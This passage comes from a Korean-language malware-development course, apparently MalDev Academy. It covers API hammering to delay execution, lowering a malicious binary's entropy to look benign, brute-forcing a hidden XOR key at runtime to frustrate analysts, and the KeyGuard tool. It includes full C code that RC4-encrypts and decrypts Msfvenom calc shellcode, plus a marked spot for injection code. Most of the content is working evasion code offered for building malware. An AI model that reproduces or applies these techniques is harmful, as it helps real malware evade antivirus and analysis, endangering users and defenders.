      T1 = GetTickCount64();
    
      printf(">>> ApiHammering Delayed Execution For : %d \n", (DWORD)(T1 - T0));
    
      printf("[#] Press <Enter> To Quit ... ");
      getchar();
    
      return 0;
    }
    

    데모

    아래 이미지는 위 코드의 출력입니다. ApiHammering은 5016밀리초 동안 실행을 지연시킬 수 있었으며, 이는 SECTOSTRESS 매크로에 전달된 값과 거의 동일한 값입니다.

    스레드에서 API 해머링

    메인 스레드의 실행이 끝날 때까지 백그라운드에서 실행되는 스레드에서 ApiHammering 함수를 실행할 수 있습니다. 이 작업은 CreateThread WinAPI를 사용하여 수행할 수 있습니다. ApiHammering 함수에는 프로세스를 무한히 반복하도록 하는 -1 값을 전달해야 합니다.

    아래 표시된 메인 함수는 새 스레드를 생성하고 값이 -1인 ApiHammering 함수를 호출합니다.

    int main() {
    
    	DWORD dwThreadId = NULL;
    
    
    	if (!CreateThread(NULL, NULL, ApiHammering, -1, NULL, &dwThreadId)) {
    		printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
    		return -1;
    	}
    
    	printf("[+] Thread %d Was Created To Run ApiHammering In The Background\n", dwThreadId);
    
    
    	/*
    
    		injection code can be here
    
    	*/
    
    
    	printf("[#] Press <Enter> To Quit ... ");
    	getchar();
    
    	return 0;
    }
    

    이전 게시물

    모듈


    76. 이진 엔트로피 감소

    이진 엔트로피 감소

    소개

    엔트로피는 제공된 데이터 세트 내의 무작위성 정도를 나타냅니다. 깁스 엔트로피, 볼츠만 엔트로피, 레니 엔트로피 등 다양한 유형의 엔트로피 측정법이 존재합니다. 그러나 사이버 보안의 맥락에서 엔트로피라는 용어는 일반적으로 0에서 8 사이의 값을 생성하는 섀넌 엔트로피를 의미합니다. 데이터 세트의 무작위성 수준이 증가함에 따라 엔트로피 값도 증가합니다.

    멀웨어 바이너리 파일은 일반적으로 일반 파일보다 높은 엔트로피 값을 갖습니다. 높은 엔트로피는 일반적으로 악성코드가 서명을 숨기기 위해 자주 사용하는 압축, 암호화 또는 패킹된 데이터를 나타내는 지표입니다. 압축, 암호화 또는 패킹된 데이터는 대량의 무작위 출력을 생성하는 경우가 많기 때문에 멀웨어 파일에서 엔트로피가 높은 이유가 설명됩니다.

    아래 이미지는 정상 소프트웨어와 멀웨어 샘플의 엔트로피를 비교한 것입니다. 대부분의 멀웨어 파일은 엔트로피 값이 7.2와 8 사이인 반면, 정상 파일은 대부분 5.6과 6.8 사이인 것을 확인할 수 있습니다. 이 이미지는 파일 엔트로피를 위협 헌팅에 활용하는 방법을 보여주는 파일 엔트로피를 이용한 위협 헌팅 문서에서 가져온 것입니다.

    즉, 이 모듈의 목표는 악성 파일의 엔트로피를 줄여 정상 파일과 유사한 허용 가능한 범위로 만드는 것입니다.

    파일의 엔트로피 측정

    파일의 엔트로피를 줄이는 방법을 이해하려면 먼저 엔트로피를 계산하는 방법을 이해하는 것이 중요합니다. 파일 엔트로피를 계산할 수 있는 도구는 pestudioSigcheck 등 여러 가지가 있습니다.

    그러나 간단하게 하기 위해 이 모듈에서 제공하는 코드에는 파일의 엔트로피를 계산하는 파이썬 파일인 EntropyCalc.py가 포함되어 있습니다. 또한 Python 스크립트는 -pe 플래그를 사용하여 PE 파일 섹션의 엔트로피를 계산할 수 있습니다.

    다음 이미지는 EntropyCalc.py 파일이 실제로 작동하는 모습을 보여줍니다.

    엔트로피칼크.py

    EntropyCalc.py는 calc_entropy 함수를 사용하여 지정된 데이터인 버퍼의 엔트로피를 계산합니다. 이 함수는 섀넌의 엔트로피 공식을 사용하여 엔트로피 값을 계산합니다.

    def calc_entropy(buffer):
        if isinstance(buffer, str):
            buffer = buffer.encode()
        entropy = 0
        for x in range(256):
            p = (float(buffer.count(bytes([x])))) / len(buffer)
            if p > 0:
                entropy += - p * math.log(p, 2)
        return entropy

    알고리즘 선택

    앞서 언급했듯이 멀웨어 파일에는 엔트로피를 증가시키는 방식으로 난독화되거나 인코딩된 데이터가 있는 경우가 많습니다. 일부 암호화 알고리즘은 다른 암호화 알고리즘보다 암호 텍스트 데이터에 대해 더 높은 엔트로피를 생성하기 때문에 이 문제를 해결하기 위해 사용되는 암호화 알고리즘을 수정하는 것이 한 가지 해결책이 될 수 있습니다.

    예를 들어, 단일 바이트 XOR 암호화를 사용해도 출력 데이터의 전체 엔트로피는 변하지 않습니다. 이 알고리즘의 단점은 약한 암호화 알고리즘으로 간주된다는 것입니다.

    엔트로피를 낮게 유지하는 또 다른 효과적인 방법은 암호화 알고리즘을 사용하는 대신 초급 모듈에서 설명한 난독화 알고리즘인 IPv4fuscation, IPv6fuscation, Macfuscation 및 UUIDfuscation을 사용하는 것입니다. 이러한 난독화 방법은 어느 정도 체계와 순서가 있는 데이터를 출력합니다. 따라서 데이터 세트 내의 유사한 바이트 패턴은 완전히 임의의 바이트가 있는 데이터 세트에 비해 엔트로피 값이 낮습니다.

    영어 문자열 삽입

    엔트로피를 줄이는 또 다른 방법은 최종 구현 코드에 영어 문자열을 삽입하는 것입니다. 이 기법은 코드에 무작위 영어 문자열을 삽입하는 다양한 멀웨어 샘플에서 관찰되었습니다. 영어 문자는 26자로만 구성되어 있어 저장된 단일 바이트당 26 * 2(대문자 및 소문자)의 다른 가능성만 존재하기 때문에 이 기법이 작동합니다. 이는 암호화 알고리즘이 출력하는 가능성의 수(255개)보다 적습니다. 이 기술을 사용하려면 모든 소문자 또는 모든 대문자 문자열을 사용하여 모든 바이트에 대한 가능성의 수를 줄이는 것이 좋습니다.

    하지만 구현에 삽입된 문자열이 나중에 멀웨어를 탐지하기 위한 시그니처로 사용될 수 있으므로 이 접근 방식은 권장되지 않습니다.

    동일한 바이트 단위로 패딩

    엔트로피를 줄이는 더 쉬운 방법은 페이로드의 암호화 텍스트를 동일한 바이트로 반복해서 채우는 것입니다. 이렇게 추가된 바이트는 모두 동일하기 때문에 엔트로피가 0.00이 되기 때문에 효과적입니다.

    예를 들어, 다음 이미지에서는 Msfvenom의 셸코드 엔트로피가 285바이트의 0xEA를 추가한 후 5.88325에서 3.77597로 급격히 감소하는 것을 확인할 수 있습니다.

    이 방법의 단점은 페이로드의 크기가 커진다는 것입니다. 또한 페이로드가 클수록 더 많은 바이트가 필요하므로 크기가 더 커집니다.

    CRT 라이브러리 독립

    CRT 또는 C 런타임 라이브러리는 함수 및 매크로 모음을 포함하는 C 프로그래밍 언어의 표준 인터페이스입니다. 이러한 함수는 일반적으로 메모리 관리(예: memcpy), 파일 열기 및 닫기(예: fopen), 문자열 조작(예: strcpy)과 관련이 있습니다.

    CRT 라이브러리를 제거하면 최종 구현의 엔트로피를 크게 줄일 수 있습니다. CRT 라이브러리 제거에 대해서는 다음 모듈에서 설명할 예정이므로 이 모듈에서는 이 라이브러리를 제거하면 엔트로피가 감소한다는 사실만 알아두면 충분합니다. 다음 이미지는 동일한 코드를 가지고 있지만 CRT 라이브러리를 포함하거나 포함하지 않고 컴파일된 Hello World.exe와 Hello World - No CRT.exe의 두 파일을 비교한 것입니다. Hello World - No CRT.exe의 엔트로피 값이 Hello World.exe보다 훨씬 낮게 측정되었습니다.

    말데브 아카데미 도구 – 엔트로피 리듀서

    MalDev 아카데미 팀에서 개발한 도구인 엔트로피 리듀서를 사용하여 페이로드의 엔트로피를 줄일 수도 있습니다. 엔트로피 리듀서는 링크된 목록을 활용하여 페이로드의 각 BUFF_SIZE 바이트 청크 사이에 널 바이트를 삽입하는 사용자 지정 알고리즘을 사용합니다.

    링크된 목록을 설명하는 것은 이 모듈의 범위를 벗어나지만, 리포지토리에 잘 문서화되어 있고 주석이 잘 달린 코드가 있다면 도구의 알고리즘을 이해하는 데 충분할 것입니다.


    77. 무차별 암호 해독

    무차별 암호 해독

    소개

    초급 모듈에서는 페이로드 암호화 및 복호화를 시연하고 바이너리 내에 암호화 키를 저장하는 것에 대한 경고를 언급했습니다. 암호화 키가 바이너리 내에 일반 텍스트로 저장되어 있으면 쉽게 검색될 수 있다는 점을 기억하세요. 한 가지 해결책은 키를 다른 키로 암호화하고 런타임에 해독하는 것입니다. 바이너리 내부에 키를 하드코딩하는 것을 피하기 위해 키를 무차별 대입합니다.

    이 모듈에서는 프로그램이 무차별 대입을 통해 키를 추측해야 하는 XOR 복호화 알고리즘을 시연합니다.

    키 암호화 프로세스

    키 무차별 암호 대입을 수행하려면 암호화 및 복호화 기능에 힌트 바이트가 필요합니다. 암호화 프로세스 전후에 한 바이트의 값을 알면 복호화 프로세스가 가능해집니다. 이 경우 첫 번째 바이트가 힌트 바이트로 선택되었습니다.

    예를 들어 힌트 바이트가 BA이고 암호화하면 71이 되는 경우, 암호 해독 프로세스는 해당 값이 BA로 되돌아갈 때까지 무차별 대입하여 올바른 키가 사용되었음을 나타냅니다.

    키 암호화 기능

    GenerateProtectedKey 함수는 힌트 바이트를 가져와서 일반 텍스트 키의 첫 번째 바이트에 추가합니다. 그런 다음 XOR 암호화 알고리즘을 사용하여 런타임에 무작위로 생성된 키를 사용하여 키를 암호화합니다.

    PrintHex는 입력 버퍼를 16진수 배열로 인쇄하는 함수로, 일반 텍스트로 생성된 키를 인쇄하는 데 사용되고 있다는 점에 유의하세요.

    /*
      - HintByte: is the hint byte that will be saved as the key's first byte
      - sKey: the size of the key to generate
      - ppProtectedKey: pointer to a PBYTE buffer that will recieve the encrypted key
    */
    
    VOID GenerateProtectedKey(IN BYTE HintByte, IN SIZE_T sKey, OUT PBYTE* ppProtectedKey) {
    
    	// Genereting a seed
    	srand(time(NULL));
    
    	// 'b' is used as the key of the key encryption algorithm
    	BYTE        b                = rand() % 0xFF;
    
    	// 'pKey' is where the original key will be generated to
    	PBYTE       pKey             = (PBYTE)malloc(sKey);
    
    	// 'pProtectedKey' is the encrypted version of 'pKey' using 'b'
    	PBYTE       pProtectedKey    = (PBYTE)malloc(sKey);
    
    	if (!pKey || !pProtectedKey)
    		return;
    
    	// Genereting another seed
    	srand(time(NULL) * 2);
    
    	// The key starts with the hint byte
    	pKey[0] = HintByte;
    	// generating the rest of the key
    	for (int i = 1; i < sKey; i++){
    		pKey[i] = (BYTE)rand() % 0xFF;
    	}
    
    
    	printf("[+] Generated Key Byte : 0x%0.2X \n\n", b);
    	printf("[+] Original Key : ");
    	PrintHex(pKey, sKey);
    
    	// Encrypting the key using a xor encryption algorithm
    	// Using 'b' as the key
    	for (int i = 0; i < sKey; i++){
    		pProtectedKey[i] = (BYTE)((pKey[i] + i) ^ b);
    	}
    
    	// Saving the encrypted key by pointer
    	*ppProtectedKey = pProtectedKey;
    
    	// Freeing the raw key buffer
    	free(pKey);
    }
    

    키 복호화 프로세스

    키를 암호화하는 데 사용된 암호화 키는 어디에도 저장되지 않았기 때문에 복호화 함수는 GenerateProtectedKey 함수에 표시된 b의 값을 추측할 수 있어야 합니다. 이를 위해 복호화 함수는 결과 바이트가 원래 키의 힌트 바이트가 될 때까지 힌트 바이트인 키의 첫 번째 바이트를 다른 키와 XOR합니다. 이 경우 함수는 올바른 b 값을 선택했음을 알 수 있습니다. 아래 코드 스니펫은 이 로직을 보여줍니다.

    if (((EncryptedKey[0] ^ b) - 0) == HintByte)
      // Then b's value is the xor encryption key
    else
      // Then b's value is not the xor encryption key, try with a different b value

    이전 예제에서 계속하여 71이 BA가 되면 올바른 b 값을 추측한 것입니다.

    키 복호화 기능

    무차별 대입 암호 해독 함수에는 암호화 함수에 전달된 것과 동일한 힌트 바이트가 필요합니다.

    /*
    	- HintByte : is the same hint byte that was used in the key generating function
    	- pProtectedKey : the encrypted key
    	- sKey : the key size
    	- ppRealKey : pointer to a PBYTE buffer that will recieve the decrypted key
    */
    
    BYTE BruteForceDecryption(IN BYTE HintByte, IN PBYTE pProtectedKey, IN SIZE_T sKey, OUT PBYTE* ppRealKey) {
    
    	BYTE      b         = 0;
    	PBYTE     pRealKey  = (PBYTE)malloc(sKey);
    
    	if (!pRealKey)
    		return NULL;
    
    	while (1){
    
    		// Using the hint byte, if this is equal, then we found the 'b' value needed to decrypt the key
    		if (((pProtectedKey[0] ^ b) - 0) == HintByte)
    			break;
    		// else, increment 'b' and try again
    		else
    			b++;
    	}
    
            // The reverse algorithm of the xor encryption, since 'b' now is known
    	for (int i = 0; i < sKey; i++){
    		pRealKey[i] = (BYTE)((pProtectedKey[i] ^ b) - i);
    	}
    
            // Saving the decrypted key by pointer
    	*ppRealKey = pRealKey;
    
    	return b;
    }

    데모

    아래 이미지는 XOR 암호화 키 생성 과정을 보여줍니다. 화살표는 각 콘솔 출력을 생성하는 코드를 가리킵니다.

    아래 이미지는 무차별 암호 대입과 암호 해독에 성공한 모습을 보여줍니다.

    결론

    이 무차별 대입 방식은 간단하지만 멀웨어 분석가와 연구자가 바이너리 파일에서 키를 덤프하는 것을 방지하는 데 사용할 수 있습니다. 이렇게 하면 바이너리를 디버깅하여 키가 어떻게 생성되는지 이해해야 하므로 분석 방지 기술이 유용하게 사용됩니다.


    78. MalDev 아카데미 도구 – KeyGuard

    MalDev 아카데미 도구 – KeyGuard

    소개

    이 모듈은 암호화 키를 생성하고, 이를 암호화하고, 런타임에 무차별 암호 대입에 필요한 소스 코드를 출력하는 MalDev Academy 도구를 시연합니다.

    사용법

    이 도구는 키 크기만 바이트 단위로 입력하면 됩니다.

    ##########################################################
                            # KeyGuard - Designed By MalDevAcademy @NUL0x4C | @mrd0x #
                            ##########################################################
    
    [!] Require Input Key Size To Run

    예제

    • .\KeyGuard.exe 32 – 32바이트의 암호화된 키를 생성하고 런타임에 암호를 해독하는 무차별 대입 함수를 사용합니다.
    • .\KeyGuard.exe 16 – 16바이트의 암호화된 키를 생성하고 런타임에 암호를 해독하는 무차별 대입 함수를 사용합니다.

    키가드 데모

    아래 이미지는 32바이트의 암호화된 키를 생성하는 데 KeyGuard를 사용하는 모습을 보여줍니다.

    전체 출력은 아래와 같습니다.

    /*
    
    [i] Input Key Size : 32
    [+] Using "0x88" As A Hint Byte
    
    [+] Use The Following Key For [Encryption]
    unsigned char OriginalKey[] = {
            0x88, 0xAE, 0x23, 0xCD, 0x24, 0xD0, 0xA5, 0xC9, 0xE7, 0x9C, 0x3C, 0x53, 0x9B, 0xCE, 0x01, 0x30,
            0xBC, 0x7A, 0x0A, 0x2F, 0xB3, 0xFE, 0x8E, 0xBA, 0x0F, 0x34, 0x49, 0xAB, 0x12, 0xEC, 0x22, 0x61 };
    
    [+] Use The Following For [Implementations]
    unsigned char ProtectedKey[] = {
            0xD1, 0xF6, 0x7C, 0x89, 0x71, 0x8C, 0xF2, 0x89, 0xB6, 0xFC, 0x1F, 0x07, 0xFE, 0x82, 0x56, 0x66,
            0x95, 0xD2, 0x45, 0x1B, 0x9E, 0x4A, 0xFD, 0x88, 0x7E, 0x14, 0x3A, 0x9F, 0x77, 0x50, 0x19, 0xD9 };
    
    
    
                            -------------------------------------------------
    
    */
    
    #include <Windows.h>#define HINT_BYTE 0x88unsigned char ProtectedKey[] = {
            0xD1, 0xF6, 0x7C, 0x89, 0x71, 0x8C, 0xF2, 0x89, 0xB6, 0xFC, 0x1F, 0x07, 0xFE, 0x82, 0x56, 0x66,
            0x95, 0xD2, 0x45, 0x1B, 0x9E, 0x4A, 0xFD, 0x88, 0x7E, 0x14, 0x3A, 0x9F, 0x77, 0x50, 0x19, 0xD9 };
    
    BYTE BruteForceDecryption(IN BYTE HintByte, IN PBYTE pProtectedKey, IN SIZE_T sKey, OUT PBYTE* ppRealKey) {
    
            BYTE            b                       = 0;
            INT             i                       = 0;
            PBYTE           pRealKey                = (PBYTE)malloc(sKey);
    
            if (!pRealKey)
                 return NULL;
    
            while (1){
    
                    if (((pProtectedKey[0] ^ b)) == HintByte)
                         break;
                    else
                         b++;
    
            }
    
            for (int i = 0; i < sKey; i++){
                    pRealKey[i] = (BYTE)((pProtectedKey[i] ^ b) - i);
            }
    
            *ppRealKey = pRealKey;
            return b;
    }
    
    // Example calling:
    
    // PBYTE        pRealKey        =       NULL;
    // BruteForceDecryption(HINT_BYTE, ProtectedKey, sizeof(ProtectedKey), &pRealKey);

    예시 – RC4 암호화

    페이로드를 암호화할 때는 일반 텍스트 키가 사용됩니다. 위에 표시된 출력에 따르면 일반 텍스트 키는 다음과 같습니다:

    unsigned char OriginalKey[] = {
            0x88, 0xAE, 0x23, 0xCD, 0x24, 0xD0, 0xA5, 0xC9, 0xE7, 0x9C, 0x3C, 0x53, 0x9B, 0xCE, 0x01, 0x30,
            0xBC, 0x7A, 0x0A, 0x2F, 0xB3, 0xFE, 0x8E, 0xBA, 0x0F, 0x34, 0x49, 0xAB, 0x12, 0xEC, 0x22, 0x61 };

    이 키는 페이로드를 암호화하는 데 사용해야 하는 키입니다. 암호화 프로세스는 Rc4EncryptionViSystemFunc032 함수를 사용하여 이 키로 Msfvenom x64 계산 셸코드를 암호화합니다. 페이로드 암호화 – RC4 모듈에서 이 프로세스를 기억하세요.

    #include <Windows.h>#include <stdio.h>// x64 calc metasploit (to encrypt)
    unsigned char Payload[] = {
    	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
    };
    
    
    
    // The following code is from (RC4 payload encryption - basic module)
    
    // This is what SystemFunction032 function take as a parameter
    typedef struct
    {
    	DWORD	Length;
    	DWORD	MaximumLength;
    	PVOID	Buffer;
    
    } USTRING;
    
    
    // Defining how does the function look - more on this structure in the api hashing part
    typedef NTSTATUS(NTAPI* fnSystemFunction032)(
    	struct USTRING* Data,
    	struct USTRING* Key
    	);
    
    
    BOOL Rc4EncryptionViSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
    
    	// The return of SystemFunction032
    	NTSTATUS	STATUS = NULL;
    
    	// Making 2 USTRING variables, 1 passed as key and one passed as the block of data to encrypt/decrypt
    	USTRING		Key  = { .Buffer = pRc4Key, 		.Length = dwRc4KeySize,		.MaximumLength = dwRc4KeySize },
    		        Data = { .Buffer = pPayloadData, 	.Length = sPayloadSize,		.MaximumLength = sPayloadSize };
    
    
    	// Since SystemFunction032 is exported from Advapi32.dll, we use LoadLibraryA to load Advapi32.dll into the prcess,
    	// and using its return as the hModule parameter in GetProcAddress
    	fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
    
    	// If SystemFunction032 calls failed it will return non zero value
    	if ((STATUS = SystemFunction032(&Data, &Key)) != 0x0) {
    		printf("[!] SystemFunction032 FAILED With Error: 0x%0.8X \n", STATUS);
    		return FALSE;
    	}
    
    	return TRUE;
    }
    
    
    
    // Print data as hex arrays - C style
    VOID PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {
    
    	printf("unsigned char %s[] = {", Name);
    
    	for (int i = 0; i < Size; i++) {
    		if (i % 16 == 0) {
    			printf("\n\t");
    		}
    		if (i < Size - 1) {
    			printf("0x%0.2X, ", Data[i]);
    		}
    		else {
    			printf("0x%0.2X ", Data[i]);
    		}
    	}
    
    	printf("};\n\n");
    
    }
    
    // The plaintext key - generated by keguard
    unsigned char OriginalKey[] = {
    		0x88, 0xAE, 0x23, 0xCD, 0x24, 0xD0, 0xA5, 0xC9, 0xE7, 0x9C, 0x3C, 0x53, 0x9B, 0xCE, 0x01, 0x30,
    		0xBC, 0x7A, 0x0A, 0x2F, 0xB3, 0xFE, 0x8E, 0xBA, 0x0F, 0x34, 0x49, 0xAB, 0x12, 0xEC, 0x22, 0x61 };
    
    
    int main() {
    
    	if (!Rc4EncryptionViSystemFunc032(OriginalKey, Payload, sizeof(OriginalKey), sizeof(Payload))) {
    		return -1;
    	}
    
    	PrintHexData("Rc4EncryptedPayload", Payload, sizeof(Payload));
    
    
    	printf("[#] Press <Enter> To Quit ... ");
    	getchar();
    
    	return 0;
    }

    출력은 아래 이미지와 같습니다.

    예시 – RC4 복호화

    아래 코드는 무차별 대입 방식을 사용하여 RC4로 암호화된 페이로드를 복호화합니다. 키는 KeyGuard 도구를 사용하여 암호화됩니다.

    #include <Windows.h>#include <stdio.h>// Encrypted x64 calc metasploit shellcode
    unsigned char Rc4EncryptedPayload[] = {
            0x44, 0x3C, 0x18, 0x73, 0xCA, 0x86, 0x68, 0x08, 0xBC, 0xCD, 0x2D, 0x59, 0x39, 0x22, 0x3C, 0xFF,
            0x6A, 0x87, 0xA0, 0xF9, 0x69, 0xB4, 0x49, 0x95, 0x3A, 0xF7, 0x79, 0x24, 0x57, 0x7D, 0xC6, 0x31,
            0xD1, 0xB4, 0x68, 0xC7, 0x5D, 0x88, 0xFF, 0x90, 0x2C, 0x1A, 0xB3, 0xB3, 0xB3, 0xD5, 0x8E, 0xD0,
            0x31, 0x8C, 0x11, 0x1E, 0x51, 0x12, 0xC6, 0x32, 0x27, 0x8F, 0x34, 0x56, 0x49, 0x15, 0xBE, 0xE9,
            0xDB, 0xA9, 0xD7, 0x44, 0x66, 0x87, 0x79, 0x07, 0x94, 0x04, 0xB0, 0x74, 0x96, 0x4A, 0x09, 0x3B,
            0xAA, 0xBF, 0xEE, 0x0D, 0xEC, 0x2D, 0x6B, 0xD9, 0x01, 0xCE, 0xBE, 0x4D, 0xA9, 0x3C, 0x78, 0x93,
            0x62, 0xFE, 0x5E, 0x69, 0x47, 0x54, 0xAE, 0xD1, 0x0F, 0xC3, 0xAF, 0xA6, 0xE8, 0xF2, 0xFA, 0x02,
            0x08, 0xD8, 0xDA, 0x42, 0xD7, 0x62, 0x31, 0xC8, 0x1E, 0x5E, 0x11, 0x2A, 0xB0, 0x82, 0xB5, 0x0B,
            0x15, 0xC3, 0x36, 0xD2, 0x36, 0xA8, 0x1B, 0x88, 0x2C, 0x3F, 0x4D, 0xDE, 0x5F, 0x19, 0x17, 0xF6,
            0xE8, 0x30, 0x16, 0x6C, 0x64, 0x7B, 0x5E, 0xD4, 0x45, 0x93, 0x76, 0x47, 0x86, 0xE2, 0x19, 0xEA,
            0x62, 0x64, 0x17, 0xBE, 0x0A, 0x0D, 0x66, 0xF9, 0x3A, 0xB7, 0xD0, 0xFD, 0xE4, 0x90, 0xA5, 0xB1,
            0x04, 0xAD, 0x6E, 0x9E, 0xA6, 0x81, 0xFC, 0xBA, 0x08, 0x30, 0x56, 0x86, 0x34, 0xC3, 0xE6, 0x2D,
            0xA3, 0x90, 0x93, 0x13, 0xD7, 0xD3, 0x7D, 0x0C, 0xCB, 0x6F, 0xA4, 0xE0, 0xAA, 0x19, 0x77, 0x4F,
            0xB6, 0x2A, 0xEA, 0xA0, 0xDD, 0x0C, 0x57, 0x1F, 0x93, 0x08, 0x0D, 0x1B, 0x29, 0x79, 0x62, 0x00,
            0xCC, 0xE3, 0x6B, 0xF2, 0xD6, 0x71, 0xC6, 0x80, 0x0A, 0x4B, 0x68, 0xD1, 0xBA, 0xDC, 0x86, 0x8D,
            0x3C, 0x6E, 0xAA, 0xAC, 0xBE, 0x3E, 0x66, 0xD9, 0x2E, 0x94, 0x8C, 0x71, 0x00, 0x94, 0x13, 0xE2,
            0xCC, 0xDF, 0x98, 0x32, 0xD7, 0x9D, 0x5B, 0xAD, 0xFB, 0x21, 0x6A, 0xF4, 0x88, 0x16, 0x0B, 0xEF };
    
    
    // The following code is from (RC4 payload encryption - basic module)
    
    // This is what SystemFunction032 function take as a parameter
    typedef struct
    {
    	DWORD	Length;
    	DWORD	MaximumLength;
    	PVOID	Buffer;
    
    } USTRING;
    
    
    // Defining how does the function look - more on this structure in the api hashing part
    typedef NTSTATUS(NTAPI* fnSystemFunction032)(
    	struct USTRING* Data,
    	struct USTRING* Key
    	);
    
    
    BOOL Rc4EncryptionViSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
    
    	// The return of SystemFunction032
    	NTSTATUS	STATUS = NULL;
    
    	// Making 2 USTRING variables, 1 passed as key and one passed as the block of data to encrypt/decrypt
    	USTRING		Key  = { .Buffer = pRc4Key, 		.Length = dwRc4KeySize,		.MaximumLength = dwRc4KeySize },
    		        Data = { .Buffer = pPayloadData, 	.Length = sPayloadSize,		.MaximumLength = sPayloadSize };
    
    
    	// Since SystemFunction032 is exported from Advapi32.dll, we use LoadLibraryA to load Advapi32.dll into the prcess,
    	// And using its return as the hModule parameter in GetProcAddress
    	fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
    
    	// If SystemFunction032 calls failed it will return non zero value
    	if ((STATUS = SystemFunction032(&Data, &Key)) != 0x0) {
    		printf("[!] SystemFunction032 FAILED With Error: 0x%0.8X \n", STATUS);
    		return FALSE;
    	}
    
    	return TRUE;
    }
    
    
    // The following code is from keyguard tool
    
    
    #define HINT_BYTE 0x88// The encrypted key - generated by keguard
    unsigned char ProtectedKey[] = {
            0xD1, 0xF6, 0x7C, 0x89, 0x71, 0x8C, 0xF2, 0x89, 0xB6, 0xFC, 0x1F, 0x07, 0xFE, 0x82, 0x56, 0x66,
            0x95, 0xD2, 0x45, 0x1B, 0x9E, 0x4A, 0xFD, 0x88, 0x7E, 0x14, 0x3A, 0x9F, 0x77, 0x50, 0x19, 0xD9 };
    
    BYTE BruteForceDecryption(IN BYTE HintByte, IN PBYTE pProtectedKey, IN SIZE_T sKey, OUT PBYTE* ppRealKey) {
    
        BYTE            b = 0;
        INT             i = 0;
        PBYTE           pRealKey = (PBYTE)malloc(sKey);
    
        if (!pRealKey)
            return NULL;
    
        while (1) {
    
            if (((pProtectedKey[0] ^ b) - i) == HintByte)
                break;
            else
                b++;
        }
    
        for (int i = 0; i < sKey; i++) {
            pRealKey[i] = (BYTE)((pProtectedKey[i] ^ b) - i);
        }
    
        *ppRealKey = pRealKey;
        return b;
    }
    
    VOID PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {
    
    	printf("unsigned char %s[] = {", Name);
    
    	for (int i = 0; i < Size; i++) {
    		if (i % 16 == 0) {
    			printf("\n\t");
    		}
    		if (i < Size - 1) {
    			printf("0x%0.2X, ", Data[i]);
    		}
    		else {
    			printf("0x%0.2X ", Data[i]);
    		}
    	}
    
    	printf("};\n\n");
    
    }
    
    
    int main() {
    
    
    
        // Code from keyguard
        PBYTE        pRealKey        =       NULL;
        if (!BruteForceDecryption(HINT_BYTE, ProtectedKey, sizeof(ProtectedKey), &pRealKey)) {
            return -1;
        }
    
        // Printing keyguard brute forced key
        PrintHexData("OriginalKey", pRealKey, sizeof(ProtectedKey));
    
        // Decrypting with the original key
    	if (!Rc4EncryptionViSystemFunc032(pRealKey, Rc4EncryptedPayload, sizeof(ProtectedKey), sizeof(Rc4EncryptedPayload))) {
    		return -1;
    	}
    
        // Printing payload
    	PrintHexData("DecryptedPayload", Rc4EncryptedPayload, sizeof(Rc4EncryptedPayload));
    
    	printf("[#] Press <Enter> To Quit ... ");
    	getchar();
    
    	return 0;
    }
